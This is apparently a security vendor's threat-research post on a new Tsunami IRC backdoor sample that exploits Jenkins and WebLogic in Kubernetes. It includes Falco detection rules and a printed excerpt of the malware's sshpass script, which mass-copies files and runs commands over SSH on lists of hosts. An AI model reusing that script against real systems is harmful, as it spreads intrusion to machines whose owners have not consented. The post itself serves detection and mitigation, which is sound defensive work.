The Tsunami malware is back!
Although it appeared for the first time several years ago, the Sysdig Research Team has just discovered a new sample of Tsunami malware targeting Jenkins and Weblogic services deployed in Kubernetes clusters.
The Tsunami malware is a backdoor that gives the attackers full control over the infected systems. Indeed the targeted machines, once infected, communicate with an IRC server waiting for new commands to be executed. This behavior allows malicious users to run shell commands, download files, and also perform DDoS attacks.
The new vector attack of Tsunami malware
Sysdig Research team was able to detect the Tsunami malware hitting two new services: Jenkins and Weblogic. The former was leveraged due to its dashboard misconfiguration. In the latter instead, it was exploited the well-known vulnerability CVE-2020-14882. It was patched more than one year ago, but the targeted container image was not updated, and so it was still vulnerable.
Consequently, both these services have been exploited via Remote Command Execution, allowing the attackers to launch curl commands. These downloaded and executed some scripts that laid the foundation for the Tsunami malware, whose version was downloaded according to the host OS (32-bit or 64-bit).
What sounds even more interesting is that this malware was accompanied by the execution of a miner! In the following images, we can see the syscall detected by the Sysdig agent.
The impact of this Tsunami malware today
The Tsunami malware can still give remote control access to malicious users. Thus, potential attackers can take full control of the infected systems and leverage them in order to exploit its computational resources or to propagate attacks elsewhere.
The malware sample found, once gained access to the victim service and joined an IRC channel, launched a miner, and then received encrypted messages from the IRC server. This made it impossible to reconstruct their communication.
What was clear, instead, was that the infected machine had downloaded two new files: sshexec and sshpass.
The former is a bash script that sets some variables and arguments that later will be used as sshpass parameters.
The latter is an executable binary that seems like a mass executor for non-interactively performing password authentication with SSH. It can be used against a list of hosts previously received or set by sshexec bash script.
if [ "$SCP" == "yes" ]; then
./sshpass -p "$PASS" scp $KEYFILE -q -P "$PORT" -o "UserKnownHostsFile=$UserKnownHostsFile" -o "BatchMode=$BatchMode" -o "ConnectTimeout=$ConnectTimeout" -o "StrictHostKeyChecking=$StrictHostKeyChecking" "$SCPFILE" $USER@$IP:$SCPPATH 2> /dev/null
if [ "$?" == 0 ]; then
echo -ne " ${LYELLOW}[${LCYAN} $SCPFILE ${LWHITE} Transfered to ${LGREEN}$IP:$PORT ${LYELLOW}] ${RESET}\n"
fi
fi
if [ "$ExecSpeed" == "&" ]; then
./sshpass -p "$PASS" ssh $KEYFILE -q -p "$PORT" -o "UserKnownHostsFile=$UserKnownHostsFile" -o "BatchMode=$BatchMode" -o "ConnectTimeout=$ConnectTimeout" -o "StrictHostKeyChecking=$StrictHostKeyChecking" $USER@$IP "echo -e \"\033[0m\";echo -ne \" \033[93m[\033[91m $i/$total \033[93m] \033[93m[\033[97m Executing cmd to \033[92m$IP:$PORT \033[93m] \033[96m \";$CMD" 2> /dev/null &
else
./sshpass -p "$PASS" ssh $KEYFILE -q -p "$PORT" -o "UserKnownHostsFile=$UserKnownHostsFile" -o "BatchMode=$BatchMode" -o "ConnectTimeout=$ConnectTimeout" -o "StrictHostKeyChecking=$StrictHostKeyChecking" $USER@$IP "echo -ne \" \033[93m[\033[91m $i/$total \033[93m] \033[93m[\033[97m Executing cmd to \033[92m$IP:$PORT \033[93m] \033[96m \";$CMD;echo -e \"\033[0m\"" 2> /dev/null
fi
These two files can also open SCP connections sending files to the target hosts. Alternatively, can request the execution of new commands to be launched.
Mitigating Tsunami malware
If you have Jenkins or Weblogic services deployed and running in your environment, you may incur in the Tsunami malware. Pay attention to the service version you have set up, check if it is vulnerable and if there are newer versions. If so, you MUST apply the update.
Moreover, you should always remember that using default credentials may expose you to several risks.
Detecting Tsunami malware with Falco
Applying more layers of security is always a good option. One way to do it is to monitor your containers at runtime. For this purpose, you can use Falco that allows you to detect suspicious executions triggered by this malware sample.
Falco is a CNCF incubating project that can help you in the detection of anomalous activities in cloud native environments, sending alerts at runtime. In order to do this, you can use the default Falco rules or you can create more specific ones leveraging its easy and flexible language.
Thus doing, you can spot anomalous behaviors, like suspicious connections, receiving Falco alerts.
- rule: Unexpected outbound connection destination
desc: Detect any outbound connection to a destination outside of an allowed set of ips, networks, or domain names
condition: >
consider_all_outbound_conns and outbound and not
((fd.sip in (allowed_outbound_destination_ipaddrs)) or
(fd.snet in (allowed_outbound_destination_networks)) or
(fd.sip.name in (allowed_outbound_destination_domains)))
output: Disallowed outbound connection destination
(command=%proc.cmdline connection=%fd.name user=%user.name
user_loginuid=%user.loginuid container_id=%container.id
image=%container.image.repository)
priority: NOTICE
tags: [network]
- rule: Unexpected inbound connection source
desc: Detect any inbound connection from a source outside of an allowed set of ips, networks, or domain names
condition: >
consider_all_inbound_conns and inbound and not
((fd.cip in (allowed_inbound_source_ipaddrs)) or
(fd.cnet in (allowed_inbound_source_networks)) or
(fd.cip.name in (allowed_inbound_source_domains)))
output: Disallowed inbound connection source (command=%proc.cmdline
connection=%fd.name user=%user.name user_loginuid=%user.loginuid
container_id=%container.id image=%container.image.repository)
priority: NOTICE
tags: [network]
- rule: Container Drift Detected (chmod)
desc: New executable created in a container due to chmod
condition: >
chmod and consider_all_chmods and container and
not runc_writing_var_lib_docker and
not user_known_container_drift_activities and
evt.rawres>=0 and
((evt.arg.mode contains "S_IXUSR") or
(evt.arg.mode contains "S_IXGRP") or
(evt.arg.mode contains "S_IXOTH"))
exceptions:
- name: proc_name_image_suffix
fields: [proc.name, container.image.repository]
comps: [in, endswith]
- name: cmdline_file
fields: [proc.cmdline, fd.name]
comps: [in, in]
Values:
- [["runc:[1:CHILD] init"], [/exec.fifo]]
output: Drift detected (chmod), new executable created in a
container (user=%user.name user_loginuid=%user.loginuid
command=%proc.cmdline filename=%evt.arg.filename name=%evt.arg.name
mode=%evt.arg.mode event=%evt.type)
priority: ERROR
- rule: Outbound Connection to C2 Servers
desc: Detect outbound connection to command & control servers
condition: outbound and fd.sip in (c2_server_ip_list)
exceptions:
- name: proc_proto_sport
fields: [proc.name, fd.l4proto, fd.sport]
output: Outbound connection to C2 server (command=%proc.cmdline
connection=%fd.name user=%user.name user_loginuid=%user.loginuid
container_id=%container.id image=%container.image.repository)
priority: WARNING
tags: [network]
If you want to know more about these rules, you can check the full rule descriptions on GitHub.
Conclusion
The Tsunami malware is a backdoor that is still leveraged by attackers to gain access to vulnerable services and applications. It may allow the execution of shell commands, download binaries and use the infected machines to launch further attacks elsewhere, like DDoS.
The malware ecosystem is always changing, it is necessary to update our security defenses just as attackers improve their attack vectors, Tsunami malware is an example of this malicious activity.
In order to detect the suspicious activities that this malware may trigger, you can use Falco, a powerful tool for runtime security.
If your environment includes the services described above, make sure they are up to date and well defended. Always remember that the security of your instances and applications is your responsibility!
If you would like to find out more about Falco:
- Get started at Falco.org.
- Check out the Falco project on GitHub.
- Get involved with the Falco community.
- Meet the maintainers on the Falco Slack.
- Follow @falco_org on Twitter.